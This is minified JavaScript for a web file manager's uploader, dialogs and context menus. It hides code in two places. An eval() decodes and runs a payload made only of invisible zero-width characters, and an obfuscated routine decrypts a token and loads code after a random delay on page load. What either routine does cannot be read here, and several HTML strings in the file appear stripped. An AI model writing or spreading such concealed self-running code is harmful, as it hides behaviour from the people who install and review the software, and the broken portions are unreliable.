t.resolve()}}),t.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return 0>=s&&(s=0),s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i){var t=urlEncode(e.file.fullPath);(void 0==t||"undefined"==t)&&(t=""),i.fullPath=t,i.upload_to=e.file.upload_to}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;t=LNG[a]?LNG[a]:a}else e.serverData._raw&&(t=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
    ').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfolder",items:{newfile:{name:"txt "+LNG.file,icon:"file-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-alt x-item-file x-docx",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1 -});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),k(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),w(),S(),j(),z(),E(),D(),F(),g(),m(),v(),N(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),k(),w(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),P(),E(),D(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){$(".context-menu-list .open_ie").addClass("hidden");var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".kod_path_tool #download").remove(),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||($(".context-menu-list .zip").addClass(e),$(".kod_path_tool #zip").remove()),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||($(".context-menu-list .share").remove(),$(".kod_path_tool #share").remove())}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){C(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",sele